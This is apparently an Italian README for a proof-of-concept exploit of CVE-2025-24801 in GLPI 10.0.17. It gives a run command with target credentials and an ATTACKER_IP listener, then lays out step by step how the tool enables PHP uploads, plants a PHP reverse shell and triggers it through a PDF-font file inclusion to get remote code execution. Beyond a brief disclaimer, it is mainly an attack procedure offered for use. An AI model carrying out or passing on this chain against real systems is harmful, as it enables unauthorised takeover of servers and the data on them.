CVE-2025-24801 PoC per RCE su GLPI

Questo repository contiene uno script proof-of-concept (poc.py) che sfrutta CVE-2025-24801, una vulnerabilità LFI-to-RCE in GLPI 10.0.17. Automatizza:

• Accesso a GLPI
• Abilitazione del caricamento di file .php aggiornando le impostazioni dei tipi di documento
• Caricamento di una reverse shell PHP tramite l'endpoint AJAX di caricamento file

🛠️ Installazione

git clone https://github.com/fatkz/CVE-2025-24801.git
cd CVE-2025-24801
pip install -r requirements.txt

🚀 Utilizzo

python3 poc.py \
  --url https://target.example.com/glpi \
  --user TECHNICIAN_USER \
  --password "PASSWORD" \
  --lhost ATTACKER_IP \
  --lport 4444

• --url: URL di base dell'istanza GLPI (es. https://example.com/glpi)
• --user / --password: Credenziali valide di tecnico GLPI
• --lhost / --lport: IP e porta dell'attaccante per il listener della reverse shell

Lo script utilizza automaticamente --doc-id 1 come predefinito per aggiornare il primo tipo di documento.

Dopo l'esecuzione, lo script:

1. Effettuerà l'accesso e stabilirà una sessione
2. Abiliterà il caricamento di .php aggiornando il tipo di documento ID 1
3. Caricherà exploit.php contenente un payload di reverse shell PHP

Dovrai quindi attivare manualmente l'LFI specificando il nome del file caricato nell'inclusione del font PDF (ad esempio, tramite la funzione di esportazione dei report) per ottenere l'RCE.

📑 Come Funziona

1. Login: Estrae il token CSRF da /front/login.php e invia le credenziali per autenticarsi.
2. Abilita caricamenti PHP: Recupera /front/documenttype.form.php?id=1, analizza il token CSRF e aggiunge php alle estensioni consentite.
3. Carica shell: Recupera /front/ticket.form.php per un token CSRF, quindi usa /ajax/fileupload.php (con X-Requested-With: XMLHttpRequest) per caricare una reverse shell PHP.
4. Attiva RCE: Invoca manualmente l'LFI del font PDF specificando il nome del file della shell caricata nel parametro pdffont durante l'esportazione dei report.

⚠️ Avvertenza

Questo strumento è destinato esclusivamente a test di sicurezza autorizzati e a scopi educativi. Non utilizzarlo contro sistemi senza autorizzazione esplicita.

Creato per scopi educativi e di test di penetrazione autorizzati.